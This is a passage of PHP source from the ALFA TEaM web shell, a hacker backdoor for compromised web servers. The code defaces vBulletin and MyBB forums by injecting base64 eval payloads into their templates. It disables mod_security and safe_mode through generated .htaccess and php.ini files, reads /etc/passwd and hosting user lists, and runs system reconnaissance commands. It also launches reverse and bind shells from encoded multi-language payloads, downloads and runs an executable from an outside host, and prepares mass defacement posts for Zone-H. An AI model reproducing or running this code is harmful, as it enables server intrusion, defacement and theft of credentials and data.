\'inputName\' => \'prefix\', \'id\' => \'db_prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho "<br><div class=\'txtfont\'>| Your Index |</div><br>\r\n<textarea name=\'index\' rows=\'19\' cols=\'103\'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>\r\n<input type=\'submit\' value=\' \'></form></center></center>";\r\nif($_POST[\'alfa8\']==\'>>\'){\r\n$s0levisible="Powered By Solevisible";\r\n$dbu = $_POST[\'alfa2\'];\r\n$dbn = $_POST[\'alfa3\'];\r\n$dbp = $_POST[\'alfa4\'];\r\n$dbh = $_POST[\'alfa5\'];\r\n$index = $_POST[\'alfa6\'];\r\n$prefix = $_POST[\'alfa7\'];\r\n$index=str_replace("\\\'","\'",$index);\r\n$set_index = "{\\${eval(base64_decode(\\\'";\r\n$set_index .= __ZW5jb2Rlcg("echo \\"$index\\";");\r\n$set_index .= "\\\'))}}{\\${exit()}}";\r\nif(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){\r\n$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));\r\n$loli1 = "UPDATE ".$prefix."template SET template=\'".$set_index."".$s0levisible."\' WHERE title=\'spacer_open\'";\r\n$loli2 = "UPDATE ".$prefix."template SET template=\'".$set_index."".$s0levisible."\' WHERE title=\'FORUMHOME\'";\r\n$loli3 = "UPDATE ".$prefix."style SET css=\'".$set_index."".$s0levisible."\', stylevars=\'\', csscolors=\'\', editorstyles=\'\'";\r\n@mysqli_query($conn,$loli1) or die (mysqli_error($conn));\r\n@mysqli_query($conn,$loli2) or die (mysqli_error($conn));\r\n@mysqli_query($conn,$loli3) or die (mysqli_error($conn));\r\n__alert(\'VB index changed...!\');\r\n}\r\n}\r\n}\r\nif(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'mybb\')) {\r\necho __pre();\r\n\r\necho "<center><center><div class=\'txtfont_header\'>| Mybb |</div>\r\n<p><center>".getConfigHtml(\'mybb\')."<form onSubmit=\\"g(\'IndexChanger\',null,\'null\',\'mybb\',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\\" method=POST action=\'\'>\r\n";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'inputName\' => \'mybbdbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'inputName\' => \'mybbdbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'inputName\' => \'mybbdbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'inputName\' => \'mybbdbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho "<br><div class=\'txtfont\'>| Your Index |</div><br>\r\n<textarea name=mybbindex rows=\'19\' cols=\'103\'>\r\n<title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><p><input type=\'submit\' value=\'\' ></p></form></center></center>";\r\nif(isset($_POST[\'alfa6\'])){\r\n$mybb_dbh = $_POST[\'alfa6\'];\r\n$mybb_dbu = $_POST[\'alfa7\'];\r\n$mybb_dbn = $_POST[\'alfa8\'];\r\n$mybb_dbp = $_POST[\'alfa9\'];\r\n$mybb_index = $_POST[\'alfa10\'];\r\nif(!empty($mybb_dbh)&&!empty($mybb_dbu)&&!empty($mybb_dbn)&&!empty($mybb_index)){\r\n$conn=@mysqli_connect($mybb_dbh,$mybb_dbu,$mybb_dbp,$mybb_dbn) or die(mysqli_error($conn));\r\n$prefix="mybb_";\r\n$loli7 = "UPDATE ".$prefix."templates SET template=\'".$mybb_index."\' WHERE title=\'index\'";\r\n$result =@mysqli_query($conn,$loli7) or die (mysqli_error($conn));\r\n__alert(\'MyBB index changed...!\');\r\n}\r\n}\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfaproc()\r\n{\r\nalfahead();\r\necho "<Div class=header><br><center>";\r\nif(empty($_POST[\'ajax\'])&&!empty($_POST[\'alfa1\']))\r\n$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;\r\nif($GLOBALS[\'sys\']=="win"){\r\n$process=array(\r\n"Task List" =>"tasklist /V",\r\n"System Info" =>"systeminfo",\r\n"Active Connections" => "netstat -an",\r\n"Running Services" => "net start",\r\n"User Accounts" => "net user",\r\n"Show Computers" => "net view",\r\n"ARP Table" => "arp -a",\r\n"IP Configuration" => "ipconfig /all"\r\n);}else{\r\n$process=array(\r\n"Process status" => "ps aux",\r\n"Syslog" =>"cat /etc/syslog.conf",\r\n"Resolv" => "cat /etc/resolv.conf",\r\n"Hosts" =>"cat /etc/hosts",\r\n"Cpuinfo"=>"cat /proc/cpuinfo",\r\n"Version"=>"cat /proc/version",\r\n"Sbin"=>"ls -al /usr/sbin",\r\n"Interrupts"=>"cat /proc/interrupts",\r\n"lsattr"=>"lsattr -va",\r\n"Uptime"=>"uptime",\r\n"Fstab" =>"cat /etc/fstab"\r\n);}\r\nforeach($process as $n => $link){\r\necho \'<a href="javascript:void(0);" onclick="g(\\\'proc\\\',null,\\\'\'.$link.\'\\\')"> | \'.$n.\' | </a>\';\r\n}\r\necho "</center><br>";\r\nif(!empty($_POST[\'alfa1\'])){\r\necho "<pre class=\'ml1\' style=\'margin-top:5px\' >";\r\nif($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd \'".addslashes($_POST["c"])."\';";}\r\necho alfaEx($cmd.$_POST[\'alfa1\'], true);\r\necho \'</pre>\';\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfasafe(){\r\nalfahead();\r\necho "<div class=header><center><br><div class=\'txtfont_header\'>| Auto ByPasser |</div>";\r\necho \'<h3><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,\\\'php.ini\\\',null)">| PHP.INI | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,\\\'ini\\\')">| .htaccess(apache) | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,\\\'pl\\\')">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,null,\\\'passwd\\\')">| Read-Passwd | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,null,null,\\\'users\\\')">| Read-Users | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,null,null,null,\\\'valiases\\\')">| Get-User | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,null,null,null,null,null,\\\'domains\\\')">| Get-Domains | </a></center></h3>\';\r\nif(!empty($_POST[\'alfa8\']) && isset($_POST[\'alfa8\']) == \'domains\'){\r\nif(!_alfa_file_exists("/etc/virtual/domainowners")){\r\necho __pre();\r\n$solevisible9 = _alfa_file(\'/etc/named.conf\');\r\nif(is_array($solevisible9)){\r\nforeach($solevisible9 as $solevisible13){\r\nif(@eregi(\'zone\',$solevisible13)){\r\npreg_match_all(\'#zone "(.*)"#\',$solevisible13,$solevisible14);\r\nif(strlen(trim($solevisible14[1][0])) > 2){\r\necho $solevisible14[1][0].\'<br>\';\r\n}}}\r\n}\r\n}else{\r\necho __pre();\r\n$users = _alfa_file("/etc/virtual/domainowners");\r\nif(is_array($users)){\r\nforeach($users as $boz){\r\n$dom = explode(":",$boz);\r\necho $dom[0]."\\n";}}}}\r\nif(!empty($_POST[\'alfa6\']) && isset($_POST[\'alfa6\']) == \'valiases\'){\r\necho \'\r\n<form onsubmit="g(\\\'safe\\\',null,null,null,null,null,null,\\\'valiases\\\',this.site.value,null,\\\'>>\\\'); return false;" method="post" /><center><div class="txtfont">Url: </font><input type="text" placeholder="site.com" name="site" /> <input type="submit" value=" " name="go" /></form></center>\';\r\nif(isset($_POST[\'alfa9\']) && $_POST[\'alfa9\'] == \'>>\'){\r\nif(!_alfa_file_exists("/etc/virtual/domainowners")){\r\n$site = trim($_POST[\'alfa7\']);\r\n$rep = str_replace(array("https://","http://","www."),"",$site);\r\n$user = "";\r\nif(function_exists("posix_getpwuid") && function_exists("fileowner")){\r\n\tif($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))){\r\n\t\t$user = $user[\'name\'];\r\n\t}\r\n}else{\r\n\tif(_alfa_can_runCommand(true,true)){\r\n\t\t$user = alfaEx("stat -c \'%U\' /etc/valiases/".$rep);\r\n\t}\r\n}\r\nif(!empty($user)&&$user!=\'root\'){\r\necho __pre()."<center><table border=\'1\'><tr><td><b><font color=\\"#FFFFFF\\">User: </b></font></td><td><b><font color=\\"#FF0000\\">{$user}</font></b></td></tr><tr><td><b><font color=\\"#FFFFFF\\">site: </b></font></td><td><b><font color=\\"#FF0000\\">{$rep}</font></b></td></tr></table></center>";\r\n}else {echo __pre().\'<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>\';}\r\n}else{\r\n$site = trim($_POST[\'alfa7\']);\r\n$rep = str_replace(array("https://","http://","www."),"",$site);\r\n$users = _alfa_file("/etc/virtual/domainowners");\r\nforeach($users as $boz){\r\n$ex = explode(":",$boz);\r\nif($ex[0] == $rep){\r\necho __pre()."<center><table border=\'1\'>\r\n<tr><td><b><font color=\\"#FFFFFF\\">User: </b></font></td><td><b><font color=\\"#FF0000\\">".trim($ex[1])."</font></b></td></tr>\r\n<tr><td><b><font color=\\"#FFFFFF\\">site: </b></font></td><td><b><font color=\\"#FF0000\\">{$rep}</font></b></td></tr></table></center>";break;}}}}}\r\nif(!empty($_POST[\'alfa5\']) && isset($_POST[\'alfa5\'])){\r\nif(!_alfa_file_exists("/etc/virtual/domainowners")){\r\necho __pre();\r\n$i = 0;\r\nwhile ($i < 60000) {\r\n$line = @posix_getpwuid($i);\r\nif (!empty($line)) {\r\nwhile (list ($key, $vl) = each($line)){\r\necho $vl."\\n";\r\nbreak;}}$i++;}\r\n}else{echo __pre();\r\n$users = _alfa_file("/etc/virtual/domainowners");\r\nforeach($users as $boz){\r\n$user = explode(":",$boz);\r\necho trim($user[1]).\'<br>\';}}}\r\nif(!empty($_POST[\'alfa4\']) && isset($_POST[\'alfa4\'])){\r\necho __pre();\r\nif(_alfa_can_runCommand(true,true)){echo __read_file("/etc/passwd");}elseif(function_exists("posix_getpwuid")){\r\nfor($uid=0;$uid<60000;$uid++){\r\n$ara = @posix_getpwuid($uid);\r\nif(!empty($ara)){\r\nwhile(list ($key, $val) = each($ara)){\r\necho "$val:";\r\n}echo "\\n";}}\r\n}else{__alert(\'failed...\');}}\r\nif(!empty($_POST[\'alfa2\']) && isset($_POST[\'alfa2\'])){\r\n@__write_file($GLOBALS[\'cwd\'].".htaccess","#Generated By Sole Sad and Invisible\\n<IfModule mod_security.c>\\nSec------Engine Off\\nSec------ScanPOST Off\\n</IfModule>");\r\necho \'<center><b><big>htaccess for Apache created...!</center></b></big>\';\r\n}\r\nif(!empty($_POST[\'alfa1\'])&& isset($_POST[\'alfa1\'])){\r\n@__write_file($GLOBALS[\'cwd\']."php.ini","safe_mode=OFF\\ndisable_functions=ByPassed By Sole Sad & Invisible(ALFA TEaM)");\r\necho \'<center><b><big> php.ini created...!</center></b></big>\';\r\n}\r\nif(!empty($_POST[\'alfa3\']) && isset($_POST[\'alfa3\'])){\r\n@__write_file($GLOBALS[\'cwd\'].".htaccess","#Generated By Sole Sad and Invisible\\n<Files *.php>\\nForceType application/x-httpd-php4\\n</Files>\\n<IfModule mod_security.c>\\nSecFilterEngine Off\\nSecFilterScanPOST Off\\n</IfModule>");\r\necho \'<center><b><big>htaccess for Litespeed created...!</center></b></big>\';\r\n}\r\necho "<br></div>";\r\nalfafooter();\r\n}\r\nfunction __get_resource($content){\r\nreturn @gzinflate(__ZGVjb2Rlcg($content));\r\n}\r\nfunction __write_file($file, $content){\r\nif($fh = @fopen($file, "wb")){\r\nif(fwrite($fh, $content)!==false) return true;\r\n}\r\nreturn false;\r\n}\r\nfunction bcinit($evalType, $evalCode, $evalOptions, $evalArguments){\r\n$res = "<font color=\'green\'>[ Success...! ]</font>";\r\n$err = "<font color=\'red\'>[ Failed...! ]</font>";\r\nif($evalOptions!="") $evalOptions = $evalOptions." ";\r\nif($evalArguments!="") $evalArguments = " ".$evalArguments;\r\nif($evalType=="c"){\r\n$tmpdir = ALFA_TEMPDIR;\r\nchdir($tmpdir);\r\nif(is_writable($tmpdir)){\r\n$uniq = substr(md5(time()),0,8);\r\n$filename = $evalType.$uniq.".c";\r\n$path = $filename;\r\nif(__write_file($path, $evalCode)){\r\n$ext = ($GLOBALS[\'sys\']==\'win\')? ".exe":".out";\r\n$pathres = $filename.$ext;\r\n$evalOptions = "-o ".$pathres." ".$evalOptions;\r\n$cmd = "gcc ".$evalOptions.$path;\r\nalfaEx($cmd);\r\nif(is_file($pathres)){\r\nif(chmod($pathres, 0755)){\r\n$cmd = $pathres.$evalArguments;\r\nalfaEx($cmd);\r\n}else{$res = $err;}\r\nunlink($pathres);\r\n}else{$res = $err;}\r\nunlink($path);\r\n}else{$res = $err;}\r\n}\r\nreturn $res;\r\n}elseif($evalType=="java"){\r\n$tmpdir = ALFA_TEMPDIR;\r\nchdir($tmpdir);\r\nif(is_writable($tmpdir)){\r\nif(preg_match("/class\\ ([^{]+){/i",$evalCode, $r)){\r\n$classname = trim($r[1]);\r\n$filename = $classname;\r\n}else{\r\n$uniq = substr(md5(time()),0,8);\r\n$filename = $evalType.$uniq;\r\n$evalCode = "class ".$filename." { ".$evalCode . " } ";\r\n}\r\n$path = $filename.".java";\r\nif(__write_file($path, $evalCode)){\r\n$cmd = "javac ".$evalOptions.$path;\r\nalfaEx($cmd);\r\n$pathres = $filename.".class";\r\nif(is_file($pathres)){\r\nif(chmod($pathres, 0755)){\r\n$cmd = "java ".$filename.$evalArguments;\r\nalfaEx($cmd);\r\n}else{$res = $err;}\r\nunlink($pathres);\r\n}else{$res = $err;}\r\nunlink($path);\r\n}else{$res = $err;}\r\n}\r\nreturn $res;\r\n}\r\nreturn false;\r\n}\r\nfunction alfaconnect(){\r\nalfahead();\r\n$php="7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=";\r\n$python="pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==";\r\n$perl="lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==";\r\n$ruby="tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";\r\n$node="nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==";\r\n$c="tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==";\r\n$java="lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D";\r\necho "<div class=header><center><br><div class=\'txtfont_header\'>| Back Connect |</div><br><br>";\r\necho "<form onSubmit=\\"g(\'connect\',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\\">\r\n<div class=\\"txtfont\\">Mehtod:</div> <select name=\'cbmethod\' onChange=\'ctlbc(this);\' style=\'width:120px;\'><option value=\'back\'>Reverse Shell</option><option value=\'bind\'>Bind Port</option></select> <div class=\\"txtfont\\">Use:</div> <select name=\'selectCb\'>";\r\n$cbArr = array("php"=>"Php","perl"=>"Perl","python"=>"Python","ruby"=>"Ruby","c"=>"C","java"=>"Java","node"=>"NodeJs","bcwin"=>"Windows");\r\nforeach($cbArr as $key=>$val){echo("<option value=\'{$key}\' ".($GLOBALS[\'sys\']==\'win\'?\'selected\':\'\').">{$val}</option>");}\r\necho "</select> <div id=\'bcipAction\' style=\'display:inline-block;\'><div class=\\"txtfont\\">IP:</div> <input type=\'text\' style=\'text-align:center;\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'></div> <div class=\\"txtfont\\">Port: </div> <input type=\'text\' size=\'5\' style=\'text-align:center;\' name=\'port\' value=\'2012\'> <input type=\'submit\' value=\' \'></form><p><div id=\'bcStatus\'><small>Run ` <font color=\'red\'>nc -l -v -p port</font> ` on your computer and press ` <font color=\'red\'>>></font> ` button</small></div></p></center></b></font><br>";\r\nif(isset($_POST[\'alfa1\'])&&!empty($_POST[\'alfa1\'])){\r\n$lang = $_POST[\'alfa1\'];\r\n$ip = $_POST[\'alfa2\'];\r\n$port = $_POST[\'alfa3\'];\r\n$arg = ($_POST[\'alfa4\']==\'bind\'?$port:$port.\' \'.$ip);\r\n$tmpdir = ALFA_TEMPDIR;\r\n$name = $tmpdir.\'/\'.$lang.uniqid().rand(1,99999);\r\n$allow = array(\'perl\',\'ruby\',\'python\',\'node\');\r\neval(\'$lan=$\'.$lang.\';\');\r\nif(in_array($lang,$allow)){\r\nif(__write_file($name,__get_resource($lan))){\r\nif(_alfa_can_runCommand(true,true)){\r\n$os = ($GLOBALS[\'sys\']!=\'win\')?\'1>/dev/null 2>&1 &\':\'\';\r\n$out = alfaEx("$lang $name $arg $os");\r\nif($out==\'\'){$out="<font color=\'green\'><center>[ Finished...! ]</center></font>";}\r\necho("<pre class=\'ml1\' style=\'margin-top:5px\'>{$out}</pre>");\r\n}\r\n}else{\r\necho("<pre class=ml1 style=\'margin-top:5px\'><font color=\'red\'><center>[ Failed...! ]</center></font></pre>");\r\n}\r\n}\r\nif($lang==\'java\'||$lang==\'c\'){\r\n$code = __get_resource($lan);\r\n$out = nl2br(bcinit($lang, $code,\'\',\'\'));\r\necho("<pre class=ml1 style=\'margin-top:5px\'><center>{$out}</center></pre>");\r\n}\r\nif($lang==\'bcwin\'){\r\n$alfa = new AlfaCURL();\r\n$s = $alfa->Send(\'http://solevisible.com/bc/windows.exe\');\r\n$tmpdir = ALFA_TEMPDIR;\r\n$f = @fopen($tmpdir.\'/bcwin.exe\',\'w+\');\r\n@fwrite($f, $s);\r\n@fclose($f);\r\n$out = alfaEx($tmpdir."/bcwin.exe ".$_POST[\'alfa2\']." ".$_POST[\'alfa3\']);\r\n}\r\nif($lang==\'php\'){\r\necho "<pre class=ml1 style=\'margin-top:5px\'>";\r\n$code = __get_resource($lan);\r\nif($code!==false){\r\n$code = "\\$target = \\"".$arg."\\";\\n".$code;\r\neval($code);\r\necho("<center><font color=\'green\'>[ Finished...! ]</font></center>");\r\n}\r\necho "</pre>";\r\n}\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfazoneh(){\r\nalfahead();\r\necho \'<div class=header>\';\r\nif(!function_exists(\'curl_version\')){\r\necho "<pre class=ml1 style=\'margin-top:5px\'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";\r\n}\r\n$hackmode = array(\'known vulnerability (i.e. unpatched system)\',\'undisclosed (new) vulnerability\',\'configuration / admin. mistake\',\'brute force attack\',\'social engineering\',\'Web Server intrusion\',\'Web Server external module 